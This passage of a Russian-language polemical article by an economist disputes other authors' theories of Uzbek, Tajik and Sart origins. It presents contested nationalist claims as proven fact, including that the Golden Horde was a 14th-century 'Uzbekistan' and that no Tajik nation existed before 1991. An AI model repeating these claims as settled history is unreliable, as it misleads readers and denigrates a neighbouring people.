При этом среди моих оппонентов были и такие лица, которые критиковали меня не за недостатки моих статей и изложенных в них новых теорий о происхождении узбеков и узбекских государств, относящихся к предмету исторической науки, а из-за того, что я пишу их, будучи не историком по образованию, а экономистом. И, по этой причине указывавших будто бы я не имею права вмешиваться в научные вопросы истории вообще и происхождения узбеков, в частности. Поэтому я, для того, чтобы обратить внимание таких своих «оппонентов» на тот факт, что современная историческая наука, складывающаяся в развитых западных странах, является отраслью экономической науки с названием клиометрика, написал и опубликовал статью под названием «ИСТОРИЯ – ЭТО ОТРАСЛЬ ЭКОНОМИЧЕСКОЙ НАУКИ С НАЗВАНИЕМ КЛИОМЕТРИКА» [10]. А ту повествовательную историческую науку, с которой до публикации этой моей статьи занимались историки постсоветских стран Центральной Азии, я назвал в этой своей статье: «традиционной исторической наукой».

Более того, в этой статье [10] я, особо подчеркивая, тот факт, что «…мои теории о происхождении узбеков и узбекских государств были доказаны на основе нового подхода к изучению нашей истории. На основе применения количественных и качественных исторических фактов и изучения множества литературных источников. Ибо в них впервые были приняты за основу количественный параметр и исторический факт о наличие 92-х тюркских родов (и племен), составляющих узбеков с точными их названиями. Названиями 92-х тюркских родов, составляющих узбеков, позволивших точно установить национальный состав всех узбекских государств, которых знала человеческая история, начиная с того узбекского государства, которого я в своих работах называю Узбекистаном XIV века. Узбекистаном XIV века, в честь которого и назван современный Узбекистан». ПРЕДЛАГАЛ: «… вновь создать в структуре Академии наук Республики Узбекистан Институт экономики, передав в его распоряжение Институт истории, переименовав его, скажем, в «Центр клиометрических исследований и традиционной исторической науки».

Однако теперь, через несколько лет после публикации этих статей. После того, как почти что улеглись страсти ученых из Таджикистана, занимающихся традиционной исторической наукой и придерживающихся по поводу происхождения узбеков крайне националистических взглядов. Появились и такие узбекские ученые, занимающиеся традиционной исторической наукой и другие авторы этого направления [13-17], которые претворяясь, будто бы ничего не знают обо всем этом, пытающиеся выдвинуть, как они, критикуя друг друга, пишут о своих работах, несостоятельные статьи, идеи и теории о происхождении узбеков, таджиков, сартов и об узбекских государствах. Поэтому в данной своей статье я решил вернуться к своим вышеупомянутым теориям и, в краткой форме, изложив суть их содержания, выразить свое отношение к статьям своих соотечественников, недавно опубликовавших на страницах сайта ЦентрАзия несколько статей о проблемах узбекской историографии, происхождении узбеков и т.д. [13-17].

Так, 22 февраля 2016 года на страницах сайта ЦентрАзия была опубликована статья Н.Мингбаева и Ш.Норбоева «Старые проблемы новой узбекской историографии» [13]. А 3 марта 2016 года была опубликована статья академика А.Аскарова, написанная в соавторстве с О.Инамовым: «Критикуя теорию этноса… «Старые проблемы новой узбекской историографии» (полемика)» [14]. В этой своей статье академик А.Аскаров, попытался доказать несостоятельность статьи и воззрений Н.Мингбаева и Ш.Норбоева о происхождении узбеков, изложенных ими в вышеупомянутой статье [13]. Поэтому в оригинале статья академика А.Аскарова озаглавлена не иначе как: «О научной несостоятельности статьи «Старые проблемы новой узбекской историографии» [14]. Но, 7 марта 2016 года на сайте ЦентрАзия появилась статья Н.Мингбаева и Ш.Норбоева под заголовком «О происхождении сартов» [15]. А после нее, если 13 марта 2016 года появилась их статья «О науке, методологии и Узбекской истории Ч.1» [16], то 15 марта 2016 года их статья: «Переселение узбеков. Ответ на статью А.Аскарова и О.Инамова. Часть II» [17].

Я с уважением отношусь к академику Ахмадали Аскарову, потому что мы друг друга хорошо знаем… Более того, мне даже приходилось защищать его от нападок таких оппозиционеров, как Мухаммад Салих и его младший брат Максуд Бекжан, в своей статье, написанной на узбекском языке под заголовком «Ҳоразм – XIV аср Ўзбекистонининг ҳам вилояти бўлган биринчи ўзбеклар диеридир» [12]. При этом хочу отметить, что хотя я вовсе не знаю авторов, выступающих, как они сами пишут, под псевдонимом «Н.Мингбаев» и «Ш.Норбоев», но все же питаю уважение второму из этих авторов, за статью «О Тимуре…», также опубликованной на сайте ЦентрАзия 6 ноября 2012 года [18].

Однако я, несмотря на то обстоятельство, что с уважением отношусь к обеим сторонам полемики, считаю не состоятельными большинство их воззрений о происхождении узбеков и об их государствах, изложенных в их вышеупомянутых статьях [13-17]. Более того, такого же мнения я придерживаюсь и в отношении теории этногенеза и этнической истории узбеков, выдвинутых академиком А.Аскаровым в его книге «Ўзбек халқининг этногенези ва этник тарихи» (Об этногенезе и этнической истории узбекского народа) [19]. И все это я и намерен доказать в данной статье на основе своих собственных теорий о происхождении узбеков, их государствах и цивилизации, в которых затрагивались и вопросы происхождения сартов и таджиков [1-12].

При этом я не буду прибегать к детальному анализу статей Н.Мингбаева и Ш.Норбоева [13,15, 16-17]. Ибо читатели имеют возможность прочитать мои статьи, посвященные происхождению узбеков и узбекских государств на самом сайте ЦентрАзия и в оригинале, с гиперссылками внутри их текстов, по адресам, указанным в списке литературы под номерами [1-10], и сравнить их со статьями вышеупомянутых авторов [13,15,16-17]. Но подобным же образом относиться к статье [14] и другим работам академика А.Аскарова не могу. Ибо в данной статье я намерен доказать несостоятельность основных положений тории происхождения узбеков академика А.Аскарова, абсолютно одинаково изложенных в старой [19] и новой книге этого автора [20].

Академик Ахмадали Аскаров в начале своего ответа авторам статьи «Старые проблемы новой узбекской историографии» [13] пишет, что: «Нурали Мингбаев и Шавкат Норбоев, являющиеся авторами данной статьи, как ученые-специалисты в области этногенеза и этнической истории узбекского народа, совершенно не известные личности. Они, скорее всего, подставные лица, ибо ученый мир знал бы о них не только по затрагиваемой ими этой сложной проблемы, но и по другим вопросам исторической науки вообще. Если бы они являлись подлинными авторами этой статьи и были бы учеными с твердым научным убеждением по затронутому вопросу, то они не скрывали бы место своей работы» [14].

Но я, учитывая тот факт, что в статье Н.Мингбаева и Ш.Норбоева [13], есть ссылка на неизвестную статью одного из несостоявшихся историков, выступающего в Интернете под известной для меня кличкой… И, учитывая и тот факт, что они в своих постингах в группе Facebook под названием «O`zbekistonning haqiqiy tarixi: komplekslarsiz va siyosatsiz», разместили соответствующие ссылки на свои статьи и другие материалы. Причем, известив меня об этом соответствующим механизмом оповещения Facebook, полагаю, что они являются известными мне членами этой группы… А зная, что один из членов этой группы, выступая по Озодлик радиоси, являющейся узбекской службой радио «Свобода», 8 февраля 2016 года, делал своеобразное заявление, что он и его единомышленники намерены поднять в Интернете дискуссию о происхождении узбеков. Причем не на основе, какой либо новой теории узбекских историков, а на основании книги американского профессора Адиба Халида [21], думаю, что «Н.Мингбаев» и «Ш.Норбоев», в дальнейшем еще не раз будут выступать со своими, подобного рода статьями …

Теперь, если перейти к краткому анализу статьей вышеупомянутых авторов, то естественным образом возникает вопрос:

1. А какому выводу приходят, что предлагают в своих статьях Н.Мингбаев и Ш.Норбоев и имеет ли их воззрения на происхождение узбеков научную новизну и ценность?

Чтобы ответить на этот вопрос, если обратиться к первой статье Н.Мингбаева и Ш.Норбоева «Старые проблемы новой узбекской историографии» [13], то в конце этой статьи можно прочитать следующие их выводы и предложения:

«Итак, отчет истории узбекского народа нужно начинать с Тюркского каганата: период Тюркского каганата (VI–VIII вв.) – общетюркская история;

период от Карлукского каганата, далее Караханидов вплоть до Чагатайского улуса (IX–XIII вв.) – период общей истории предков узбеков и уйгуров;

период тимуридов (XIV–XV вв.) – начало выделения тюрков Маверауннахра в отдельную этнокультурную, этноязыковую и этнополитическую единицу;

период шейбанидов, аштарханидов (XVI–XVIII вв.) – формирование узбекской народности в современном состоянии;конец XIX века, начало XX века – проникновение в регион понятия о национализме и формирование современных наций региона».

А теперь, если обраться ко второй статье этих авторов под заголовком «О происхождении сартов» [15], то в конце этой статьи можно прочитать следующие выводы:

«I. Нынешние узбеки не являются потомками иранцев древней Средней Азии. Они – не потомки таджиков. Масштабная тюркизация таджиков – это миф, этнические корни узбеков – главном образом тюркские.

II. Нынешние узбеки являются в основном потомками тюркских переселенцев, мигрировавших в Среднюю Азию в течение тысячи лет, начиная с Тюркского каганата (6 век) до 16-17 веков. Иранский пласт в этногенезе узбеков в целом не преобладает. Преобладает он обычно в некоторых крупных городах, а среди узбеков, живущих в сельской местности, отдаленных от городских центров, иранский пласт незначителен, а в некоторых случаях практически отсутствует».

А учитывая, что они в конце статьи [17], пишут, что: «Вместо вывода повторим то, о чем было сказано и в предыдущей нашей совместной работе…», полный текст их общих выводов, изложенных после этих слов приводить здесь не буду.

Однако, анализируя эти статьи и изложенные в них «научные» выводы «Н.Мингбаева» и «Ш.Норбоева», если учесть мои теории о происхождении узбеков (а также сартов и таджиков), об узбекских государствах и цивилизации, изложенные в моих статьях [1-12]. И сравнить их между собой, то станет очевидной, что выводы «Н.Мингбаева» и «Ш.Норбоева» не имеют абсолютно никакой научной новизны и ценности. Ибо «Н.Мингбаев» и «Ш.Норбоев» являются, как они сами утверждают в своих статьях [16-17], ДИЛЕТАНТАМИ в затронутых ими вопросах. А я, из-за своего уважения к ним, не могу не согласиться с такой оценкой этих авторов о самих себя и своем научном статусе в области традиционной исторической науки.

При этом хочу подчеркнуть и тот факт, что они, из-за того, что являются ДИЛЕТАНТАМИ в области традиционной исторической науки, не знают, не только понятие и определение науки вообще и соответствующие категории тех областей познания, которых называют историей, этнологией, антропологией и т.д. А также общую методологическую основу как точных, так и общественных наук, в том числе, не только клиометрики, но и традиционной исторической науки, а также популярный фразеологизм: «История не терпит сослагательного наклонения».

Ибо они не проходили соответствующие школы подготовки научных кадров через магистратуру, аспирантуру и докторантуру нашей или других стран мира, для того, чтобы написать и защитить свои диссертации по какому либо направлению науки. По правилам, например, ВАК при Кабинете Министров Республики Узбекистан, требующим обязательной публикации в установленных ими научных изданиях своей и зарубежных стран, определенного количества статей и соответствующей монографии. Поэтому для них, некоторые факты из истории происхождения узбеков, трактуемые учеными из области традиционной исторической науки разных стран мира по-разному, о которых «Н.Мингбаеву» и «Ш.Норбоеву» стало известно недавно, с тех пор как они начали заниматься любительскими «исследованиями» дилетантов по истории происхождения узбеков, кажутся им научной новизной. Научной новизной, не имеющей аналогов в мире, способной стать даже научной концепцией традиционной исторической науки Узбекистана. Именно поэтому тот их опус, написанный этими авторами и опубликованный на сайте ЦентрАзия и, состоящий из, скажем, четырех частей [13,15,16-17], выглядеть, не на уровне научных работ, состоявшихся ученых-историков из академических кругов Узбекистана, и даже не на уровне статей по теме диссертаций (дипломных работ) магистров. А всего лишь на уровне рефератов по тематике дипломных работ бакалавров, оканчивающих какой либо вуз нашей или другой страны и, готовых к работе по направлению подготовки на должностях, подлежащих замещению лицами с высшим образованием…

Такой низкий уровень научной подготовки «Н.Мингбаева» и «Ш.Норбоева» доказывает и тот их вывод, где они пишут, что якобы: «…узбекские историки хотят быть очень древними, самыми древними в регионе. Для этого им необходимо показать себя потомками древних иранских народов, и таким образом объявить преемниками всех государств и культур, которые существовали в Средней Азии. Отчасти эта точка зрения, сформированная в советское время, по принципу «самый древний – самый великий», должна, по их идее, быть ответом на претензии историков и политиков соседних стран, которые обычно националистически относятся к узбекам и пытаются принизить их роль в истории Средней Азии. Таким образом, они хотят избавиться от ярлыка «пришлые захватчики» и показать себя «местными», «коренными» и «автохтонными». Но сегодня – не СССР. Мы живем в XXI в. «Автохтонность» ни международным правом, ни мировой исторической наукой не воспринимается как аргумент в подобных спорах. Глубоко националистический взгляд, что якобы народы бывают «коренными» и «пришлыми» и якобы право государственности имеют только «коренные», уже считается в лучшем случае моветоном, в худшем – проявлением нацизма и фашизма (выделено – А.Р)» [17].

Ибо «Н.Мингбаев» и «Ш.Норбоев», из-за того, что они являются ДИЛЕТАНТАМИ по их же собственному признанию. А по определению этого понятия ДИЛЕТАНТЫ – это люди, занимающиеся наукой без специальной подготовки и имеющие только поверхностное знакомство с какой-нибудь областью знаний. По этой причине они, не говоря уж об автохтонности и автохтонизме, на чем я остановлюсь более подробно ниже, вовсе не знают и о том, что существует «Декларация Организации Объединенных Наций о правах коренных народов», принятая резолюцией 61/295 Генеральной Ассамблеей ООН 13 сентября 2007 года. Именно поэтому они не только неправильно применяют по отношению к взглядам академика А.Аскарова и др. авторов, о коренных народах Средней Азии, слово или понятие «моветон», но и абсолютно не правы, когда утверждают по отношению к ним, что такой их взгляд будто бы является «проявлением нацизма и фашизма».

Более того, если, как об этом говорилось выше, учесть, что один из представителей группы Facebook под названием «O`zbekistonning haqiqiy tarixi: komplekslarsiz va siyosatsiz» 8 февраля 2016 года по Озодлик радиоси заявлял, что они намерены поднять в Интернете дискуссию о происхождении узбеков на основе книги американского автора Адиба Халида. А Адиб Халид в своей книге, изданной на английском языке под названием: «Making Uzbekistan: Nation, Empire, and Revolution in the Early USSR» (Рождение Узбекистана: нация, империя и революция в раннем СССР), как об этом пишет, например, на страницах сайта Central Asia Analytical Network [22], утверждает о том, что:

«В течение советского периода узбекская идентичность развивалась и поддерживалась в рамках советских правил и ограничений, в «славном прошлом» воспевались Улугбек и Алишер Навои, поддерживая чагатайский принцип узбекской идентичности. Поэтому неудивительно, что в 1991 году Тимур стал символом нового узбекского государства, а Узбекистан претендует не на наследие узбекских племен Шейбани-хана, но на единое наследие оседлой культуры всей Центральной Азии».

Возможно поэтому «Н.Мингбаев» и «Ш.Норбоев» пришли к глубоко ошибочным выводам, когда утверждают в своей первой статье [13], во-первых, о том, что: «период шейбанидов, аштарханидов (XVI–XVIII вв.) – формирование узбекской народности в современном состоянии». А во-вторых, когда утверждают, также как и академик Аскаров, о том, что якобы: необходимо считать «конец XIX века, начало XX века – проникновение в регион понятия о национализме и формирование современных наций региона».

Более того эти авторы, несмотря на тот факт, что являются дилетантами в вопросах истории происхождения узбеков. Тем не менее, так же как представители узбекской оппозиции, сбежавшие на Запад и являющиеся такими же дилетантами в исторических вопросах, как и они, соизволили себе покритиковать самого Ислама Каримова. Причем, несмотря на тот факт, что они не знают узбекскую историографию и, не объясняя в узком или широком смысле, используют это понятие, периода СССР, когда и была создана сама Узбекская ССР и, кого имел в виду Ислам Каримов в своем выступлении «Без исторической памяти нет будущего» [23], они пишут, что.

«Однако в целом исторические работы, опубликованные в советский период, были тенденциозны, история в них искажена и политизирована.

Сегодня в Узбекистане все еще видны следы советской историографии, причем заметны они не только в исторических трудах и школьных учебниках. Президент Узбекистана в своем выступлении на тему «Без исторической памяти нет будущего» еще в 1999 году обращает внимание на формирование узбекского народа. В частности, президент подверг критике советские взгляды, перепутав их с точками зрения западных авторов (выделено – А.Р.). Вот его речь:

«Когда появилось именование «узбеки»? Как пишут советские историки, именование «узбеки» появилось где-то в XVI веке, после захвата наших земель ханами Кипчакской степи. Но ведь и до того в Мавероуннахре на территории между двух рек жил народ. Или этот народ принадлежал к другой нации? Где же здесь логика? Если мы примем оставшуюся от советской эпохи эту версию, то последует неверный вывод, что история нашей нации началась с периода этих очередных захватчиков. Тогда где же наша многовековая история? Раз и Самарканд, и Бухара, и Хива принадлежат узбекам, раз здесь было узбекское государство, почему мы должны начинать свою историю с XVI века, с того периода, когда чужеземцы, побывав на наших землях, оставили свои имена?».

Однако, Ислам Каримов в своей вышеупомянутой речи [23], что касается вопроса происхождения узбеков, не путал точки зрения советских и западных историков, как преподносят это «Н.Мингбаев» и «Ш.Норбоев», а имел в виду и критиковал точка зрение известного советского историка. А именно: действительного члена АН Таджикской ССР и членкора АН Узбекской ССР А.А.Семенова, изложенных в его работе «К вопросу о происхождении и составе узбеков Шайбани-хана» [24]. Так, что академик А.А.Семенов, хотя и глубако ошибался, но в отличие от дилетантов «Н.Мингбаева» и «Ш.Норбоева», еще в 1954 году считал, что узбеки сформировались при Шейбани-хане и рассказывал о численном составе его войск.

К тому же и идею о том, что происхождение узбеков надо начинать с Тюркского каганата, впервые было предложено не со стороны таких дилетантов в области истории, как «Н.Мингбаев» и «Ш.Норбоев». А со стороны академика АН СССР А.Ю. Якубовского в его книге под названием «К вопросу об этногенезе узбекского народа», опубликованной еще в 1941 году [25].

Более того они не знают не только в каком смысле применяют понятие «историография» в статье «Старые проблемы новой узбекской историографии» [13], но и понятие «проблема», имеющее греческое происхождение. Ибо если написать заголовок их первой статьи [13] в переводе на русский язык, то она будет звучать в следующем, неопределенном смысле: «Старые знания о незнании новой узбекской историографии», где и понятие историографии находиться в неопределенном состоянии.

Поскольку с этого названия статьи совсем не ясно, в каком смысле используется понятие историография: в узком или широком смысле? Поскольку это понятие, если в узком смысле слова означает совокупность исследований в области истории, посвященных определенной теме либо исторической эпохе или же совокупность исторических работ, обладающих внутренним единством в идеологическом, языковом или национальном отношении, то в более широком смысле оно означает специальную историческую дисциплину, изучающую историю исторических наук.

Теперь возникает следующий вопрос:

2. Какую теорию или концепцию происхождения узбеков выдвигает и что предлагает в своих научных работах академик Ахмадали Аскаров и как к ним можно относиться?

Я, прочитав и проанализировав книгу доктора исторических наук, академика АН Республики Узбекистан Ахмадали Аскарова [19], опубликованную еще в 2007 году, давно пришел к выводу, что его теория об этногенезе и этнической истории узбекского народа несостоятельна. Поэтому прочитав на сайте ЦентрАзия его ответ [14] на статью «Н.Мингбаева» и «Ш.Норбоева», я еще раз убедился в правильности своего отношения к этой теории. Поэтому я решил проанализировать эту теорию академика А.Аскарова, с точки зрения своей собственной теории о происхождении узбеков, их государствах и цивилизации и, в краткой форме изложив эти свои выводы в данной статье, предложить их на суд научного сообщества и читателей.

2.1. Так, академик Ахмадали Аскаров в своей статье [14] и книгах [19-20], утверждает, что: «…знаток среднеазиатской истории и археологии, восточных письменных рукописей А.Ю.Якубовский разработал по проблемам этногенеза народов Средней Азии научно обоснованную «концепцию национального автохтонизма» [19, с. 57]. Согласно этой концепции каждый народ Середней Азии связан с современной территорией обитания с издавна, с чем он – А.Аскаров, безоговорочно согласен [14,19].

Конечно, что касается тюркских народов, являющихся предками и современных узбеков, то с утверждениями академика А.Аскарова о применимости т.н. «концепции национального автохтонизма» к их происхождению на территории Средней Азии, в какой-то мере, можно было бы и согласиться.

Однако, в «концепции национального автохтонизма» А.Ю.Якубовского, которой руководствуется академик А.Аскаров, являются лишними слова «концепция» и «национального». Ибо оставшееся без этих двух слов, понятие автохтонизм будет означать социальное учение или идеологию, имевших широкое распространение в Европе в XVIII и первой половине XX векав. То есть тот автохтонизм, который отстаивал генетическую и/или языковую непрерывность исторического развития населения той или иной территории. А академик А.Аскаров, называя это учение «концепций национального автохтонизма», разработанной академиком АН СССР А.Ю.Якубовским [14,19-20,25], не только вводить научное сообщество в заблуждение, но и выдвигает идею о происхождении узбеков, которая полностью противоречить концептуальным основам идеологии автохтонизма. Поскольку он вопреки логике этого учения, пытается доказать, что узбеки произошли не от непрерывного генетического и/или языкового исторического развития тюркского населения Средней Азии, а двуязычного населения этого региона, разговаривавшего как на языках коренных ирано-язычных народов (согдийцев, бактрийцев, хорезмийцев, саков-массагетов), так и тюркских родов (и племен).

К тому же, если учесть, что после заключения соглашений о неизменности европейских границ и создания ЕС, идеология автохтонизма почти что утратило свое значение. Поэтому не трудно прийти и к выводу, что т.н. «концепция национального автохтонизма», разработанная в советский период для обоснования компромиссной идеи о том, что современные узбеки (как и таджики), являются коренным населением Узбекской ССР. После обретения с ее стороны своей государственной независимости от СССР, несмотря на существование спорных участков государственных границ, приводя к их демаркации и делимитации, тоже практически потеряла свое значение. Так что, именно по таким причинам социальное учение автохтонизма, под каким бы соусом его не преподносили, такие ученые, как академик А.Аскаров, не может служить идеологической основой для установления происхождения узбеков только лишь внутри современной государственной границы Республики Узбекистан с соседними странами Центаральной Азии.

Ибо узбеки распространены не только по всей Центральной Азии и они возникли на этнической карате мира не 3500 лет тому назад, как утверждает академик А.Аскаров на основе т.н. «концепции национального автохтонизма», а только лишь в XIV веке, на территории первого узбекского государства, правителем которого был Узбек-хан. Того первого узбекского государства, которого, академик А.Аскаров, как и российские историки, ошибочно называет Золотой Ордой [6]. А я, установив, во время своих научных изысканий, что Залотая Орда – это ошибоное название первого независимого узбекского государства, назвал его Узбекистаном XIV века [1-12].

А почему я Узбекистан XIV века называю независимым государством? Как я писал в своей статье [3], Великое Государство, которое до возникновения Узбекистана XIV века назывался Улусум Джучи, при правлении Менгу-Тимуре (1266-1280) – деде Узбек-хана, приобрел свою государственную независимость от Монгольской империи еще в 1269 году.

Именно поэтому на КУРУЛТАЕ (съезде), проведенном в 1269 году в долине реки Талас Мунгу-Тимур, а также Борак-хан и Хайду — ханы соответственно Чагатайского и Угедэева улусов, признали друг друга независимыми государями. И заключили союз против великого хана Хубилая на случай, если он попробует оспорить их независимость от центральной власти МОНГОЛЬСКОЙ ИМПЕРИИ.

Однако это государство, ставшее независимым от Монгольской империи еще в 1269 году, продолжали называть Улусом Джучи, пока его трон в 1312 году не занял Узбек-хан. Поскольку именно при нем Великое Государство – Улус Джучи, правителем или монархом, которого он был, начали называть в его честь Государством Узбека, Узбекским Улусом, Мемлекет–и–узбеки – Страной узбеков или УЗБЕКИСТАНом (с учетом суффикса «-ИСТАН» (перс. ستان‎), который применяется для образования топонимов многих стран и регионов мира, особенно современной Центральной Азии), а его подданных, являющихся одновременно и его храбрыми воинами — УЗБЕКами.

2.2. Далее академик А.Аскаров в своей статье утверждает, что: «Отправной точкой этногенеза, его началом является племя. Если в качестве примера для рассмотрения возьмем коренное население Средней Азии – узбеков и таджиков, то этногенез этих народов в истории развития человеческого общества начинается с конца первобытного общества (т.е. поздней бронзы) и продолжается до развитого средневекового общества (т. е. X–XII вв.)».

При этом он чуть ниже, задавшись вопросом: «Кто же является древними предками узбекского народа?», пишет: «Это коренное оседлое и скотоводческое население Маверауннахра и Древнего Хорезма, говорившего на тюркском и древне-иранских диалектах. Процесс первоначального смешения племен и родов, говоривших на двух языках, является началом, отправной точкой этногенеза».

Однако понятие племя, не может служить отправной точкой для установления происхождения узбеков. Ибо, как об этом говорилось выше, УЗБЕКИ на этнической карте мира появились не во время первобытно общинного строя периода позднего Бронзового века (1600-1200 до н. э.), то есть 3500 лет тому назад, как утверждает академик А.Аскаров, а в XIV веке, в государстве, которым правил Узбек-хан.

К тому же узбеки никогда не были двуязычной нацией, разговаривающей на своем родном – [старо]узбекском языке, а также древне-иранских диалектах персидского языка (или на таджикском языке). Только лишь для одной части узбеков, проживавших, скажем, в Самарканде и Бухаре и, для предков, которых, являвшихся поддаными средне-вековых государств, в которых персидский язык, являлся государственным или языком иранских завоевателей Средней Азии, как Исмаил Самани, стал ЭЛИТАРНЫМ ЯЗЫКОМ. И по наследсту передалось последующим их покалениям, в том числе и тем жителям из этих городов, принадлежавщих тюркским родам (которые начиная с XIV-XV веков стали называть узбеками), аналогично тому, как начиная с конца XIX века по сей день для элит нородов постсоветских стран Центральной Азии, в том числе и для узбекской элиты, РУССКИЙ ЯЗЫК становился элитарным языком.

А что касается происхождения таджиков, я в своей статье «Узбеки – дворяне тюркских народов, а сарты – предприниматели Центральной Азии» [3], впервые опубликованной на сайте ЦентрАзия еще 19 ноября 2011 года, а потом и на могих других популярных интернет-изданиях, писал, что:

«Изучение исторических и современных литературных источников […] показало, что имя народа, которого в русскоязычной литературе именуют термином «ТАДЖИК», а сам народ, носящее это имя называет себя на своем родном языке термином «ТОҶИК» (tochik), а узбеки — «ТОЖИК» (tojik), на самом деле пишется, как «ТАЗИК» (tazik).

Но откуда произошел сам этот термин? Как следует из иранского литературного источника [здесь: 26 – А.Р.], ТАЗИКами на востоке иранского мира называли, оказывается арабские армии, которые вторглись в VIII веке на их территории под знаменем джихада. Но в арабо-мусульманском завоевании Средней Азии рядом с собственно арабскими войсками в массовом порядке участвовали и персоязычные новообращенные мусульмане из Фарса, Загроса и Хорасана [здесь: 27]. Поэтому тюркское население Средней Азии, зная от самих иранцев, что они арабов назвали ТАЗИКами, сами тоже начали называть этим термином, не только их, но и тех иранских воинов, которые пришли на их территорию вместе с арабскими завоевателями, помогая им добиться своих целей. Целей завоевания Средней Азии и покорения тюркских народов, обитающих на этой территории.

Обоснованность этого утверждения может подтвердить тот исторический факт, что связано с сопротивлением и национально-освободительным движением тюркских народов, направленных против арабских завоевателей, которую возглавлял Муканна [здесь: 28]. В народном движении, в котором тазики — арабы, естественным образом не участвовали, также как и их пособники — новоявленные иранские «джхадисты», находящиеся в составе этих арабских войск, участвовавших в их подавлении. Поэтому какие-то другие захватчики тазиков, пусть они династия Саманидов, правившие в Бухаре с 892 по 999 годы, сути дела не меняет…

Однако изменение термина ТАЗИК (tazik), как об этом указывается в иранском источнике [здесь: 26], обязано, оказывается, влиянию «чагатайского языка», т.е. староузбекского языка. Поскольку во времена монгольского завоевания Средней Азии, когда этот язык был государственным языком, наши предки не могли, оказывается, произносить, букву «З». И вместо нее произносили букву «Ж» (а другие не могли произносить букву «А», и вместо нее, как сам академик А.Аскаров и население кишлака Учтепа Нарынского района Наманганской области, откуда он родом, произносили букву «О» – Р.А.), поэтому, как я на это указывал выше, они, как и сейчас ТАЗИКов, называли ТОЖИКами, что впоследствии, русские люди начали произносить и писать, как ТАДЖИКи, услышав это от узбеков…».

Именно поэтому я в своей статье [10] писал:

«Однако мне удалось доказать не только ложность утверждений таджикских ученых на основе нового подхода к истории и изучению происхождения узбеков и узбекских государств. Но и доказать тот факт, что до 1991 года никогда не было самой таджикской нации и таджикской государственности».

Значит, покорителями или ЗАВОЕВАТЕЛЯМИ Среднй Азии являются не узбеки, как утверждает академик АН Таджикистана Рахим Масов [здесь: 29] и его единомышленники, куда отчасти можно отнести и самого академика Ахмадали Аскарова, а АРАБЫ, которых именно ИРАНцы периода завоевания их территории арабскими жихадистами, и называли ТАЗИКами, то есть ТАДЖИКами, как об этом говорилось выше [26].

Однако академик Ахмадали Аскаров искажая этот неопровержимый факт, отраженный в авторитетном литературном источнике, как Encyclopædia Iranica [26], в своей книге, где речь идет о происхождении сартов, пишет, что якобы «ТАЗИКИ» были арабскими купцами, вошедшими в VIII веке в Среднюю Азию с арабскими завоевателями… [19, с.297].

Поэтому я, учитывая, что Н.Мингбаев и Ш.Норбоев в статье [15] затрагивали вопрос о происхождении сартов, как будто бы они являются какой-то народностью или нацией и, учитывая тот факт, что на этом вопросе более подробно останавливался в своих статьях [3-4], здесь решил остановиться на них очень коротко, отвечая на следующий вопрос.

2.3. Что означает термин «САРТ» и как можно относиться к этому понятию? Термин «САРТ», как я отмечал это в своих статях [3-4] – это кличка (прозвище), не узбекского, таджикского или другого народа, а предпринимателей Центральной Азии, существовавшая до национально-территориального размежевания в Средней Азии, живших и осуществлявших свою деятельность в городах этого региона, занимаясь торговлей, различными видами ремесленничества и т.д. Поэтому к этому термину можно было бы относиться, также как, например, к кличкам «МОСКАЛЬ» и «МАСКАЛ», которым этнических русских называют белорусы, украинцы и поляки. Или же «КАЦАП» – кличка, относящаяся к числу этнофолизмов и которая происходит от тюркского слова QASSOP – мясник, которым этнических русских называют только украинцы. «ХАХОЛ» – прозвище, также относящееся к числу этнофолизмов и «экспрессивных этнонимов», которым украинцев называют не только этнические русские, но и другие народы. В мире такого рода кличками или прозвищами называют и других народов.

Однако когда речь идет о сартах, этот вопрос следует рассматривать не с точки зрения этнонима и этнофолизмов, погружаясь в догадки: какой народ называли этим словом? А следует рассматривать термин «САРТ» исключительно с точки зрения этимологии этого слова. Ибо прозвище сарт, в отличие от многочисленных прозвищ, например этнических русских, касается не только узбекских предпринимателей времен до национально-территориального размежевания в Средней Азии, но и других народов Центрально Азии, таких как Казахи, Кыргызы, Тюркмены и Таджики.

2.4. А что можно сказать по поводу следующего утверждения академика Ахмадали Аскарова, о том, что якобы:

«Узбеки, как народ окончательно сложился в XI–XII вв. До того времени этническая основа, состояла из местных согдийцев, бактрийцев, хорезмийцев, саков-массагетов, которые постоянно проживали на одной территории с племенами тюркс​кого происхождения; ассимиляция их ускоряется в период карлуков-караханидов (IX–X вв.); окончательно формируется как народ в период государства Западных Караха​ни​дов (XI–XII вв.)»?

Зная историю происхождения узбеков никак невозможно согласиться с таким ложным утверждением академика А.Аскарова. Ибо тогда, в XI–XII вв., во-первых, абсолютно никакая группа тюркских родов не носило название или этноним «узбек» или «узбеки». Во-вторых, в современной научной литературе, поэтому и в популярных энциклопедиях, понятиям «народ» и «народность» даются следующие определения:

Народ — это: а) население определенной страны или государства; б) историческая общность людей. Слово «народ» употребляется в научной литературе в двух основных значениях — в политическом и культурно-этническом. Это слово, взятое в политическом значении является синонимом понятия «нация» [30].

А народность — историческая общность людей, возникающая из отдельных племен при распаде родоплеменных отношений, на ранней стадии феодализма, основанного на натуральном хозяйстве, до возникновения прочных экономических связей и единой экономики. Характеризуется единством языка, территории, обычаев и культуры. Более высокой ступенью развития общества является народ [31].

К тому же, если часть 1 статьи 7 Конституции Республики Узбекистан гласить: «Народ является единственным источником государственной власти», то ее статья 8 гласить: «Народ Узбекистана составляют граждане Республики Узбекистан независимо от их национальности».

2.5. Далее академик А.Аскаров в своей статье [14] и книгах [19-20] пишет, что:

«История народности, достигнув в своем хозяйственно-экономическом и этнокуль​турном развитии определенный уровень жизни, переходит в фазу формирования в качестве нации, начинается третий этап – этап истории нации. Проявление начала этого процесса в социальной жизни связано с началом капиталистических производственных отношений в обществе. Поэтому считается, что нация является социальным продуктом капитализма. Опираясь на этот методологи​чес​кий принцип, можно сказать, что история нации узбекского народа начинается с конца XIX – начала ХХ вв.».

Однако, в советское время утверждалось, что многие народы СССР, в том числе и узбеки, перешли в эпоху социализма минуя эпоху промышленного капитализма. Значить утверждения академика А.Аскарова о том, что узбекская нация сформировалось в конце XIX – начала ХХ вв., в результате перехода на капиталистические производственные отношения – это ошибочное представление или толкование бывшего коммуниста и делегата одного из высших органов КПСС –XIX Всесоюзной конференции КПСС, прошедшей в Москве с 28 июня по 1 июля 1988 года.

Ибо на X съезде РКП(б), который проходил 8-16 марта 1921 года в Москве, говорилось, что:

